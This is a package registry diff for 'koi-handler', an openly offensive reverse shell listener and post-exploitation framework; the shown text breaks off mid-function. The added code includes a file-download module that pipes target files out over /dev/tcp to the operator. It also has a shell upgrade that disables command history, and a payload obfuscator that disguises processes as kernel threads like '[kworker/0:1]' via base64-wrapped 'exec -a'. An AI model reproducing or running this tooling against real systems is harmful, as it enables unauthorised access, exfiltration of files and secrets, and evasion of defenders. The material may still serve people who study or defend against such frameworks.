koi-handler 0.7.8__tar.gz → 0.8.3__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {koi_handler-0.7.8/src/koi_handler.egg-info → koi_handler-0.8.3}/PKG-INFO +1 -1
- {koi_handler-0.7.8 → koi_handler-0.8.3}/pyproject.toml +3 -1
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/listener.py +28 -11
- koi_handler-0.8.3/src/koi/main.py +114 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/blueprint.py +4 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/download.py +18 -6
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/env_dump.py +0 -10
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/get_processes.py +0 -15
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/network_enum.py +0 -18
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/session.py +1 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/bash_obfuscate.py +56 -0
- koi_handler-0.8.3/src/koi/utils/cache.py +32 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/cli.py +2 -1
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/interact.py +15 -5
- koi_handler-0.8.3/src/koi/utils/logger.py +206 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/payloads.py +1 -1
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/powerupgrade.py +33 -3
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/ps_obfuscate.py +2 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/ui.py +12 -5
- {koi_handler-0.7.8 → koi_handler-0.8.3/src/koi_handler.egg-info}/PKG-INFO +1 -1
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi_handler.egg-info/SOURCES.txt +2 -0
- koi_handler-0.8.3/src/koi_handler.egg-info/entry_points.txt +4 -0
- koi_handler-0.7.8/src/koi/main.py +0 -58
- koi_handler-0.7.8/src/koi_handler.egg-info/entry_points.txt +0 -2
- {koi_handler-0.7.8 → koi_handler-0.8.3}/LICENSE +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/setup.cfg +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/get_users.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/ligolo.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/loader.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/populate_win.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/sharphound.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/sysinfo.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/modules/upload.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/__init__.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/detect.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/models.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/obfuscate_ui.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/tcp.py +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi_handler.egg-info/dependency_links.txt +0 -0
- {koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi_handler.egg-info/top_level.txt +0 -0
|
@@ -4,12 +4,14 @@ build-backend = "setuptools.build_meta"
|
|
|
4
4
|
|
|
5
5
|
[project]
|
|
6
6
|
name = "koi-handler"
|
|
7
|
-
version = "0.
|
|
7
|
+
version = "0.8.3"
|
|
8
8
|
description = "Reverse shell listener"
|
|
9
9
|
requires-python = ">=3.10"
|
|
10
10
|
|
|
11
11
|
[project.scripts]
|
|
12
12
|
koi = "koi.main:main"
|
|
13
|
+
koifuscator = "koi.main:obfuscator"
|
|
14
|
+
koireview = "koi.main:koireview"
|
|
13
15
|
|
|
14
16
|
[tool.setuptools.packages.find]
|
|
15
17
|
where = ["src"]
|
|
@@ -62,7 +62,7 @@ class _MaskStream:
|
|
|
62
62
|
|
|
63
63
|
|
|
64
64
|
class Listener:
|
|
65
|
-
def __init__(self, host: str = "0.0.0.0", port: int =
|
|
65
|
+
def __init__(self, host: str = "0.0.0.0", port: int = 4010):
|
|
66
66
|
self.host = host
|
|
67
67
|
self.port = port
|
|
68
68
|
self._sessions: Dict[int, Session] = {}
|
|
@@ -79,6 +79,7 @@ class Listener:
|
|
|
79
79
|
self._conpty_lock = threading.Lock()
|
|
80
80
|
self.screenable_mode: bool = False
|
|
81
81
|
self._accepting: bool = True
|
|
82
|
+
self._loggers: dict = {}
|
|
82
83
|
|
|
83
84
|
def _mask_ip(self, ip: str, kind: str = "remote") -> str:
|
|
84
85
|
"""Return a placeholder instead of a real IP when screenable mode is active."""
|
|
@@ -89,7 +90,7 @@ class Listener:
|
|
|
89
90
|
def _toggle_screenable(self) -> None:
|
|
90
91
|
self.screenable_mode = not self.screenable_mode
|
|
91
92
|
state = _c("ON") if self.screenable_mode else _gr("OFF")
|
|
92
|
-
sys.stdout.write("\033[F\033[2K")
|
|
93
|
+
sys.stdout.write("\033[F\033[2K")
|
|
93
94
|
notify('info', f"Screenable mode {state}")
|
|
94
95
|
sys.stdout.flush()
|
|
95
96
|
|
|
@@ -108,6 +109,10 @@ class Listener:
|
|
|
108
109
|
sess = self._sessions.pop(sid, None)
|
|
109
110
|
if sess:
|
|
110
111
|
sess.close()
|
|
112
|
+
if sid in self._loggers:
|
|
113
|
+
self._loggers[sid].log_event("terminated")
|
|
114
|
+
self._loggers[sid].close()
|
|
115
|
+
del self._loggers[sid]
|
|
111
116
|
|
|
112
117
|
def _prune(self) -> None:
|
|
113
118
|
for sid in [k for k, s in self._sessions.items() if not s.alive]:
|
|
@@ -127,7 +132,6 @@ class Listener:
|
|
|
127
132
|
conn.close()
|
|
128
133
|
continue
|
|
129
134
|
|
|
130
|
-
# ConPtyShell callback: stash without assigning an ID
|
|
131
135
|
if addr[0] in self._pending_conpty:
|
|
132
136
|
os_type = self._pending_conpty.pop(addr[0])
|
|
133
137
|
staging = Session(id=-1, conn=conn, addr=addr)
|
|
@@ -295,6 +299,9 @@ class Listener:
|
|
|
295
299
|
elif cmd in ("obfuscator", "obs", "cook"):
|
|
296
300
|
self._cmd_obfuscate(parts[1] if len(parts) > 1 else None)
|
|
297
301
|
|
|
302
|
+
elif cmd in ("logs", "log"):
|
|
303
|
+
self._cmd_logs()
|
|
304
|
+
|
|
298
305
|
elif cmd in ("modules", "mdls", "mods"):
|
|
299
306
|
self._cmd_modules()
|
|
300
307
|
|
|
@@ -366,6 +373,10 @@ class Listener:
|
|
|
366
373
|
data[key] = s._uptime()
|
|
367
374
|
print_report_box("Sessions", data)
|
|
368
375
|
|
|
376
|
+
def _cmd_logs(self) -> None:
|
|
377
|
+
from koi.utils.logger import print_log_list
|
|
378
|
+
print_log_list()
|
|
379
|
+
|
|
369
380
|
def _cmd_reload(self) -> None:
|
|
370
381
|
with Spinner("Reloading modules…"):
|
|
371
382
|
modules = load_modules(reload=True)
|
|
@@ -395,19 +406,15 @@ class Listener:
|
|
|
395
406
|
return
|
|
396
407
|
|
|
397
408
|
with Spinner("Upgrading shell…"):
|
|
398
|
-
|
|
399
|
-
|
|
400
|
-
"python -c 'import pty; pty.spawn(\"/bin/bash\")' 2>/dev/null || "
|
|
401
|
-
"script -qc /bin/bash /dev/null\n"
|
|
402
|
-
)
|
|
403
|
-
sess.send(spawn.encode())
|
|
409
|
+
from koi.utils.bash_obfuscate import obfuscated_upgrade_spawn
|
|
410
|
+
sess.send(obfuscated_upgrade_spawn().encode())
|
|
404
411
|
self._drain(sess, 0.8)
|
|
405
412
|
|
|
406
413
|
if not sess.alive:
|
|
407
414
|
notify('error', f"Session {_p(f'#{sid}')} died during upgrade.")
|
|
408
415
|
return
|
|
409
416
|
|
|
410
|
-
sess.send(b"export TERM=xterm-256color
|
|
417
|
+
sess.send(b"export TERM=xterm-256color HISTSIZE=0 HISTFILESIZE=0\n")
|
|
411
418
|
self._drain(sess, 0.3)
|
|
412
419
|
self._sync_winsize(sess)
|
|
413
420
|
self._drain(sess, 0.3)
|
|
@@ -467,8 +474,18 @@ class Listener:
|
|
|
467
474
|
sys.stdout.write("\033[2J\033[H")
|
|
468
475
|
sys.stdout.flush()
|
|
469
476
|
|
|
477
|
+
if sess.id not in self._loggers:
|
|
478
|
+
from koi.utils.logger import start_logger
|
|
479
|
+
lg = start_logger(sess)
|
|
480
|
+
self._loggers[sess.id] = lg
|
|
481
|
+
sess.log_path = str(lg.path)
|
|
482
|
+
notify('info', f"Logging to {_gr(lg.path.name)}")
|
|
483
|
+
|
|
470
484
|
self._in_session = True
|
|
471
|
-
|
|
485
|
+
logger = self._loggers.get(sess.id)
|
|
486
|
+
logger.log_event(f"enter — {self._mask_ip(ip)}:{port}")
|
|
487
|
+
reason = interact(sess, logger=logger)
|
|
488
|
+
logger.log_event(reason)
|
|
472
489
|
self._in_session = False
|
|
473
490
|
|
|
474
491
|
signal.signal(signal.SIGWINCH, signal.SIG_DFL)
|
|
@@ -0,0 +1,114 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import argparse
|
|
6
|
+
import signal
|
|
7
|
+
import sys
|
|
8
|
+
|
|
9
|
+
from koi.listener import Listener
|
|
10
|
+
from koi.utils.ui import notify, _b, _p, _c, display_art, print_payloads
|
|
11
|
+
from koi.utils.obfuscate_ui import run_obfuscate_ui
|
|
12
|
+
from koi.utils.logger import review as _review
|
|
13
|
+
from koi.utils.logger import clear_log as _clear_log
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
class _ArtHelpAction(argparse.Action):
|
|
18
|
+
def __init__(self, option_strings, dest=argparse.SUPPRESS, default=argparse.SUPPRESS, help=None):
|
|
19
|
+
super().__init__(option_strings=option_strings, dest=dest, default=default, nargs=0, help=help)
|
|
20
|
+
|
|
21
|
+
def __call__(self, parser, namespace, values, option_string=None):
|
|
22
|
+
display_art(small=True)
|
|
23
|
+
parser.print_help()
|
|
24
|
+
parser.exit()
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
def main():
|
|
28
|
+
parser = argparse.ArgumentParser(
|
|
29
|
+
description="koi – multi-session reverse shell listener",
|
|
30
|
+
add_help=False,
|
|
31
|
+
)
|
|
32
|
+
parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
|
|
33
|
+
parser.add_argument("--host", default="0.0.0.0", help="Bind address (default: 0.0.0.0)")
|
|
34
|
+
parser.add_argument("--port", "-p", type=int, default=4010, help="Listen port (default: 4010)")
|
|
35
|
+
parser.add_argument("--payloads", nargs="?", const="__all__", metavar="IFACE",
|
|
36
|
+
help="Print payloads for all interfaces (or a specific one) and exit")
|
|
37
|
+
parser.add_argument("--obfuscator", "--cook", nargs="?", const="__all__", metavar="IFACE",
|
|
38
|
+
help="Open the payload obfuscator (optionally for a specific interface) and exit")
|
|
39
|
+
args = parser.parse_args()
|
|
40
|
+
|
|
41
|
+
if args.payloads is not None:
|
|
42
|
+
print_payloads(None if args.payloads == "__all__" else args.payloads, args.port)
|
|
43
|
+
sys.exit(0)
|
|
44
|
+
|
|
45
|
+
if args.obfuscator is not None:
|
|
46
|
+
run_obfuscate_ui(None if args.obfuscator == "__all__" else args.obfuscator, args.port)
|
|
47
|
+
sys.exit(0)
|
|
48
|
+
|
|
49
|
+
listener = Listener(host=args.host, port=args.port)
|
|
50
|
+
|
|
51
|
+
signal.signal(
|
|
52
|
+
signal.SIGINT,
|
|
53
|
+
lambda *_: (print(), notify('warning', f"Use {_b('exit')} to quit cleanly."))
|
|
54
|
+
)
|
|
55
|
+
|
|
56
|
+
try:
|
|
57
|
+
listener.start()
|
|
58
|
+
except PermissionError:
|
|
59
|
+
notify('error', f"Permission denied on port {args.port}.")
|
|
60
|
+
sys.exit(1)
|
|
61
|
+
except OSError as e:
|
|
62
|
+
notify('error', f"Cannot start listener: {e}")
|
|
63
|
+
sys.exit(1)
|
|
64
|
+
|
|
65
|
+
|
|
66
|
+
def koireview():
|
|
67
|
+
parser = argparse.ArgumentParser(
|
|
68
|
+
description="koireview – review a recorded Koi session",
|
|
69
|
+
add_help=False,
|
|
70
|
+
)
|
|
71
|
+
parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
|
|
72
|
+
parser.add_argument("log", nargs="?", default=None, metavar="LOG",
|
|
73
|
+
help="Log file to review (name or path). Omit to list available logs.")
|
|
74
|
+
parser.add_argument("-c", "--clear", action="store_true", help="Clear the specified log or all logs if none specified")
|
|
75
|
+
args = parser.parse_args()
|
|
76
|
+
|
|
77
|
+
if args.log is None:
|
|
78
|
+
from koi.utils.logger import print_log_list
|
|
79
|
+
print_log_list()
|
|
80
|
+
else:
|
|
81
|
+
_review(args.log)
|
|
82
|
+
|
|
83
|
+
if args.clear:
|
|
84
|
+
if args.log is None:
|
|
85
|
+
from koi.utils.logger import list_logs
|
|
86
|
+
logs = list_logs()
|
|
87
|
+
if not logs:
|
|
88
|
+
print("No logs to clear.")
|
|
89
|
+
return
|
|
90
|
+
for log in logs:
|
|
91
|
+
_clear_log(log)
|
|
92
|
+
else:
|
|
93
|
+
from koi.utils.logger import resolve_log
|
|
94
|
+
log_path = resolve_log(args.log)
|
|
95
|
+
if log_path is None:
|
|
96
|
+
print(f"Log not found: {args.log}", file=sys.stderr)
|
|
97
|
+
sys.exit(1)
|
|
98
|
+
_clear_log(log_path)
|
|
99
|
+
|
|
100
|
+
def obfuscator():
|
|
101
|
+
parser = argparse.ArgumentParser(
|
|
102
|
+
description="koifuscator – payload obfuscator",
|
|
103
|
+
add_help=False,
|
|
104
|
+
)
|
|
105
|
+
parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
|
|
106
|
+
parser.add_argument("--port", "-p", type=int, default=4010, help="Callback port embedded in the payload (default: 4010)")
|
|
107
|
+
parser.add_argument("iface", nargs="?", default=None, metavar="IFACE",
|
|
108
|
+
help="Network interface to use (default: all)")
|
|
109
|
+
args = parser.parse_args()
|
|
110
|
+
run_obfuscate_ui(args.iface, args.port)
|
|
111
|
+
|
|
112
|
+
|
|
113
|
+
if __name__ == "__main__":
|
|
114
|
+
main()
|
|
@@ -347,6 +347,10 @@ class KoiModule(ABC):
|
|
|
347
347
|
def status(self, msg: str) -> None:
|
|
348
348
|
"""Print a status notification."""
|
|
349
349
|
self.notify("status", msg)
|
|
350
|
+
|
|
351
|
+
def success(self, msg: str) -> None:
|
|
352
|
+
"""Print a success notification."""
|
|
353
|
+
self.notify("success", msg)
|
|
350
354
|
|
|
351
355
|
def __str__(self) -> str:
|
|
352
356
|
return f"<KoiModule {self.name!r} on session #{self.session.id}>"
|
|
@@ -3,6 +3,7 @@ import ntpath
|
|
|
3
3
|
import os
|
|
4
4
|
import posixpath
|
|
5
5
|
import select
|
|
6
|
+
import shlex
|
|
6
7
|
import socket
|
|
7
8
|
import threading
|
|
8
9
|
import time
|
|
@@ -15,6 +16,11 @@ def _remote_basename(path: str) -> str:
|
|
|
15
16
|
return ntpath.basename(path) or posixpath.basename(path)
|
|
16
17
|
|
|
17
18
|
|
|
19
|
+
def _shell_quote(path: str) -> str:
|
|
20
|
+
"""Quote a path for safe use in a remote shell command (Linux only)."""
|
|
21
|
+
return shlex.quote(path)
|
|
22
|
+
|
|
23
|
+
|
|
18
24
|
class DownloadModule(KoiModule):
|
|
19
25
|
name = "download"
|
|
20
26
|
description = "Download a file from the target via a dedicated TCP connection."
|
|
@@ -22,23 +28,29 @@ class DownloadModule(KoiModule):
|
|
|
22
28
|
category = "File transfer"
|
|
23
29
|
platform = ["linux", "windows_ps"]
|
|
24
30
|
arguments = [
|
|
25
|
-
{
|
|
31
|
+
{
|
|
32
|
+
"flags": ["remote_path"],
|
|
33
|
+
"help": "Path of the file on the remote target (quotes optional, spaces supported)",
|
|
34
|
+
"nargs": "+",
|
|
35
|
+
},
|
|
26
36
|
{"flags": ["-o", "--output"], "default": None, "help": "Local output path"},
|
|
27
37
|
]
|
|
28
38
|
|
|
29
39
|
def run(self) -> None:
|
|
30
|
-
remote_path = self.args.remote_path
|
|
40
|
+
remote_path = " ".join(self.args.remote_path)
|
|
31
41
|
local_path = self.args.output or _remote_basename(remote_path)
|
|
32
42
|
local_ip = self._get_local_ip()
|
|
33
43
|
os_type = self.session.os_type
|
|
34
44
|
|
|
45
|
+
quoted = _shell_quote(remote_path)
|
|
46
|
+
|
|
35
47
|
# Step 1 : existence check
|
|
36
48
|
with self.spinner("Checking if file exists…"):
|
|
37
49
|
if os_type == "linux":
|
|
38
50
|
token_ok = uuid.uuid4().hex
|
|
39
51
|
token_err = uuid.uuid4().hex
|
|
40
52
|
result = self.exec(
|
|
41
|
-
f"test -f {
|
|
53
|
+
f"test -f {quoted} && echo {token_ok} || echo {token_err}"
|
|
42
54
|
)
|
|
43
55
|
exists = result.stdout.count(token_err) < 2
|
|
44
56
|
else:
|
|
@@ -52,7 +64,7 @@ class DownloadModule(KoiModule):
|
|
|
52
64
|
# Step 2 : file size
|
|
53
65
|
with self.spinner("Getting file size…"):
|
|
54
66
|
if os_type == "linux":
|
|
55
|
-
size_str = self._exec_clean(f"wc -c < {
|
|
67
|
+
size_str = self._exec_clean(f"wc -c < {quoted}")
|
|
56
68
|
try:
|
|
57
69
|
remote_size = int(size_str.split()[0])
|
|
58
70
|
except (ValueError, IndexError):
|
|
@@ -106,7 +118,7 @@ class DownloadModule(KoiModule):
|
|
|
106
118
|
# Step 4 : trigger remote transfer
|
|
107
119
|
if os_type == "linux":
|
|
108
120
|
self.exec(
|
|
109
|
-
f"cat {
|
|
121
|
+
f"cat {quoted} > /dev/tcp/{local_ip}/{port}",
|
|
110
122
|
timeout=30,
|
|
111
123
|
)
|
|
112
124
|
else:
|
|
@@ -154,4 +166,4 @@ class DownloadModule(KoiModule):
|
|
|
154
166
|
"remote path": remote_path,
|
|
155
167
|
"local path": os.path.abspath(local_path),
|
|
156
168
|
"size": f"{len(raw)} bytes ({len(raw)/1024:.1f} KB)",
|
|
157
|
-
})
|
|
169
|
+
})
|
|
@@ -57,8 +57,6 @@ class EnvDumpModule(KoiModule):
|
|
|
57
57
|
},
|
|
58
58
|
]
|
|
59
59
|
|
|
60
|
-
# ── helpers ───────────────────────────────────────────────────────────────
|
|
61
|
-
|
|
62
60
|
def _display(self, env: dict[str, str], show_all: bool, total: int) -> None:
|
|
63
61
|
interesting = {k: v for k, v in env.items() if _is_interesting(k, v)}
|
|
64
62
|
rest = {k: v for k, v in env.items() if k not in interesting}
|
|
@@ -76,8 +74,6 @@ class EnvDumpModule(KoiModule):
|
|
|
76
74
|
elif not show_all and rest:
|
|
77
75
|
self.ok(f"{len(rest)} other variables — use -a to show all.")
|
|
78
76
|
|
|
79
|
-
# ── Linux ─────────────────────────────────────────────────────────────────
|
|
80
|
-
|
|
81
77
|
def _run_linux(self) -> None:
|
|
82
78
|
with self.spinner("Dumping environment…"):
|
|
83
79
|
raw = self._exec_clean("printenv 2>/dev/null || env 2>/dev/null", timeout=10)
|
|
@@ -99,11 +95,7 @@ class EnvDumpModule(KoiModule):
|
|
|
99
95
|
show_all = getattr(self.args, "all", False)
|
|
100
96
|
self._display(env, show_all, len(env))
|
|
101
97
|
|
|
102
|
-
# ── Windows PS ────────────────────────────────────────────────────────────
|
|
103
|
-
|
|
104
98
|
def _run_windows(self) -> None:
|
|
105
|
-
# Use ||| as key/value separator (unlikely to appear in a var name)
|
|
106
|
-
# and § to join lines, so _win_query returns everything in one shot.
|
|
107
99
|
ps_expr = (
|
|
108
100
|
"(Get-ChildItem Env: | ForEach-Object {"
|
|
109
101
|
"\"$($_.Name)|||$($_.Value)\""
|
|
@@ -129,8 +121,6 @@ class EnvDumpModule(KoiModule):
|
|
|
129
121
|
show_all = getattr(self.args, "all", False)
|
|
130
122
|
self._display(env, show_all, len(env))
|
|
131
123
|
|
|
132
|
-
# ── entry point ───────────────────────────────────────────────────────────
|
|
133
|
-
|
|
134
124
|
def run(self) -> None:
|
|
135
125
|
if self.session.os_type == "linux":
|
|
136
126
|
self._run_linux()
|
|
@@ -42,10 +42,6 @@ class GetProcessesModule(KoiModule):
|
|
|
42
42
|
},
|
|
43
43
|
]
|
|
44
44
|
|
|
45
|
-
# ── shared ────────────────────────────────────────────────────────────────
|
|
46
|
-
|
|
47
|
-
# ── Linux ─────────────────────────────────────────────────────────────────
|
|
48
|
-
|
|
49
45
|
def _parse_linux(self, raw: str) -> list[dict]:
|
|
50
46
|
procs = []
|
|
51
47
|
for line in raw.splitlines():
|
|
@@ -103,17 +99,12 @@ class GetProcessesModule(KoiModule):
|
|
|
103
99
|
val_fn=lambda p: p["cmd"],
|
|
104
100
|
)
|
|
105
101
|
|
|
106
|
-
# ── Windows PS ────────────────────────────────────────────────────────────
|
|
107
|
-
|
|
108
102
|
_WIN_SYSTEM_USERS = frozenset({
|
|
109
103
|
"n/a", "nt authority\\system", "nt authority\\local service",
|
|
110
104
|
"nt authority\\network service",
|
|
111
105
|
})
|
|
112
106
|
|
|
113
107
|
def _parse_windows_tasklist(self, raw: str) -> list[dict]:
|
|
114
|
-
# tasklist /fo csv /nh /v columns:
|
|
115
|
-
# "Image Name","PID","Session Name","Session#","Mem Usage",
|
|
116
|
-
# "Status","User Name","CPU Time","Window Title"
|
|
117
108
|
procs = []
|
|
118
109
|
for entry in raw.split("§"):
|
|
119
110
|
entry = self._clean(entry)
|
|
@@ -148,8 +139,6 @@ class GetProcessesModule(KoiModule):
|
|
|
148
139
|
return False
|
|
149
140
|
|
|
150
141
|
def _run_windows(self) -> None:
|
|
151
|
-
# Run tasklist inside PS and join all lines with § so _win_query
|
|
152
|
-
# (which returns the last echoed line) gets the full output at once.
|
|
153
142
|
ps_expr = "(tasklist /fo csv /nh /v) -join '§'"
|
|
154
143
|
with self.spinner("Collecting processes via tasklist…"):
|
|
155
144
|
raw = self._win_query(ps_expr, timeout=30)
|
|
@@ -167,8 +156,6 @@ class GetProcessesModule(KoiModule):
|
|
|
167
156
|
val_fn=lambda p: f"session={p['session']} mem={p['mem']}",
|
|
168
157
|
)
|
|
169
158
|
|
|
170
|
-
# ── dispatch (shared filtering/display logic) ─────────────────────────────
|
|
171
|
-
|
|
172
159
|
def _dispatch(self, procs, total, is_interesting, key_fn, val_fn) -> None:
|
|
173
160
|
keyword = getattr(self.args, "filter", None)
|
|
174
161
|
show_all = getattr(self.args, "all", False)
|
|
@@ -200,8 +187,6 @@ class GetProcessesModule(KoiModule):
|
|
|
200
187
|
else:
|
|
201
188
|
self.ok(f"No noteworthy processes found ({total} total). Use -a to list all.")
|
|
202
189
|
|
|
203
|
-
# ── entry point ───────────────────────────────────────────────────────────
|
|
204
|
-
|
|
205
190
|
def run(self) -> None:
|
|
206
191
|
if self.session.os_type == "linux":
|
|
207
192
|
self._run_linux()
|
|
@@ -31,16 +31,12 @@ class NetworkEnumModule(KoiModule):
|
|
|
31
31
|
},
|
|
32
32
|
]
|
|
33
33
|
|
|
34
|
-
# ── helpers ───────────────────────────────────────────────────────────────
|
|
35
|
-
|
|
36
34
|
def _run(self, cmd: str, timeout: float = 15.0) -> str:
|
|
37
35
|
try:
|
|
38
36
|
return self._exec_clean(cmd, timeout=timeout)
|
|
39
37
|
except Exception:
|
|
40
38
|
return ""
|
|
41
39
|
|
|
42
|
-
# ── section: interfaces ───────────────────────────────────────────────────
|
|
43
|
-
|
|
44
40
|
def _section_interfaces(self) -> tuple[dict, list[tuple[str, str]]]:
|
|
45
41
|
"""Return (box_data, [(iface, ipv4_cidr), ...]) for non-loopback interfaces."""
|
|
46
42
|
raw = self._run("ip -o addr show")
|
|
@@ -62,8 +58,6 @@ class NetworkEnumModule(KoiModule):
|
|
|
62
58
|
box = {iface: " ".join(addrs) for iface, addrs in grouped.items()}
|
|
63
59
|
return box, ipv4_ifaces
|
|
64
60
|
|
|
65
|
-
# ── section: routes ───────────────────────────────────────────────────────
|
|
66
|
-
|
|
67
61
|
def _section_routes(self) -> dict:
|
|
68
62
|
raw = self._run("ip route show")
|
|
69
63
|
box: dict[str, str] = {}
|
|
@@ -77,8 +71,6 @@ class NetworkEnumModule(KoiModule):
|
|
|
77
71
|
box[dest] = rest
|
|
78
72
|
return box
|
|
79
73
|
|
|
80
|
-
# ── section: ARP neighbors (cached, instant) ──────────────────────────────
|
|
81
|
-
|
|
82
74
|
def _section_neighbors(self) -> dict:
|
|
83
75
|
raw = self._run("ip neigh show 2>/dev/null || arp -a 2>/dev/null")
|
|
84
76
|
box: dict[str, str] = {}
|
|
@@ -103,8 +95,6 @@ class NetworkEnumModule(KoiModule):
|
|
|
103
95
|
box[ip] = f"{mac} dev={dev}"
|
|
104
96
|
return box
|
|
105
97
|
|
|
106
|
-
# ── section: listening ports ──────────────────────────────────────────────
|
|
107
|
-
|
|
108
98
|
def _section_listening(self) -> dict:
|
|
109
99
|
raw = self._run("ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null")
|
|
110
100
|
box: dict[str, str] = {}
|
|
@@ -128,8 +118,6 @@ class NetworkEnumModule(KoiModule):
|
|
|
128
118
|
box[local] = process
|
|
129
119
|
return box
|
|
130
120
|
|
|
131
|
-
# ── section: established connections ─────────────────────────────────────
|
|
132
|
-
|
|
133
121
|
def _section_connections(self) -> dict:
|
|
134
122
|
raw = self._run(
|
|
135
123
|
"ss -tnp state established 2>/dev/null || "
|
|
@@ -153,8 +141,6 @@ class NetworkEnumModule(KoiModule):
|
|
|
153
141
|
box[f"{local} → {remote}"] = process
|
|
154
142
|
return box
|
|
155
143
|
|
|
156
|
-
# ── section: DNS ──────────────────────────────────────────────────────────
|
|
157
|
-
|
|
158
144
|
def _section_dns(self) -> dict:
|
|
159
145
|
raw = self._run("cat /etc/resolv.conf 2>/dev/null")
|
|
160
146
|
box: dict[str, str] = {}
|
|
@@ -172,8 +158,6 @@ class NetworkEnumModule(KoiModule):
|
|
|
172
158
|
box[key if n == 0 else f"{key} {n + 1}"] = val
|
|
173
159
|
return box
|
|
174
160
|
|
|
175
|
-
# ── host discovery (ARP scan) ─────────────────────────────────────────────
|
|
176
|
-
|
|
177
161
|
@staticmethod
|
|
178
162
|
def _cidr_to_network(cidr: str) -> tuple[str, int]:
|
|
179
163
|
ip_str, prefix_str = cidr.split("/")
|
|
@@ -302,8 +286,6 @@ class NetworkEnumModule(KoiModule):
|
|
|
302
286
|
else:
|
|
303
287
|
self.warn(f"No live hosts found on {network}.")
|
|
304
288
|
|
|
305
|
-
# ── entry point ───────────────────────────────────────────────────────────
|
|
306
|
-
|
|
307
289
|
def run(self) -> None:
|
|
308
290
|
no_scan = getattr(self.args, "no_scan", False)
|
|
309
291
|
subnet = getattr(self.args, "subnet", None)
|
|
@@ -33,6 +33,7 @@ class Session:
|
|
|
33
33
|
os_type: OsType = field(default=None)
|
|
34
34
|
encoding: str = field(default="utf-8")
|
|
35
35
|
eol: str = field(default="\n")
|
|
36
|
+
log_path: Optional[str] = field(default=None)
|
|
36
37
|
_lock: threading.Lock = field(default_factory=threading.Lock, repr=False)
|
|
37
38
|
|
|
38
39
|
def _uptime(self) -> str:
|
|
@@ -69,6 +69,22 @@ def _bash_ifs(payload: str) -> str:
|
|
|
69
69
|
return f"export {v}='{payload}';eval ${v}"
|
|
70
70
|
|
|
71
71
|
|
|
72
|
+
_FAKE_PROC_NAMES = [
|
|
73
|
+
"[kworker/0:1]", "[kworker/1:2]", "[kworker/2:0]",
|
|
74
|
+
"[migration/0]", "[migration/1]",
|
|
75
|
+
"[watchdog/0]", "[watchdog/1]",
|
|
76
|
+
"[ksoftirqd/0]", "[ksoftirqd/1]",
|
|
77
|
+
"[rcu_sched]", "[rcu_bh]",
|
|
78
|
+
]
|
|
79
|
+
|
|
80
|
+
|
|
81
|
+
def _bash_spoof_argv(payload: str) -> str:
|
|
82
|
+
"""Wrap with exec -a to spoof process name in ps/top."""
|
|
83
|
+
name = random.choice(_FAKE_PROC_NAMES)
|
|
84
|
+
encoded = base64.b64encode(payload.encode()).decode()
|
|
85
|
+
return f"exec -a '{name}' bash <(echo {encoded}|base64 -d)"
|
|
86
|
+
|
|
87
|
+
|
|
72
88
|
METHODS: list[tuple[str, str, Callable[[str], str]]] = [
|
|
73
89
|
("ansi_c", "$'\\xNN' ANSI-C quoting on key tokens", _bash_ansi_c),
|
|
74
90
|
("printf_hex", "$(printf '\\xNN') hex encoding", _bash_printf_hex),
|
|
@@ -76,4 +92,44 @@ METHODS: list[tuple[str, str, Callable[[str], str]]] = [
|
|
|
76
92
|
("var_split", "token split across shell variables", _bash_var_split),
|
|
77
93
|
("base64", "bash<<<$(base64 -d<<<...) full wrap", _bash_base64),
|
|
78
94
|
("ifs", "store in variable and eval", _bash_ifs),
|
|
95
|
+
("spoof_argv", "exec -a to mask process name in ps/top", _bash_spoof_argv),
|
|
79
96
|
]
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
def _hex(s: str) -> str:
|
|
100
|
+
return "".join(f"\\x{ord(c):02x}" for c in s)
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
def _py_hex_import() -> str:
|
|
104
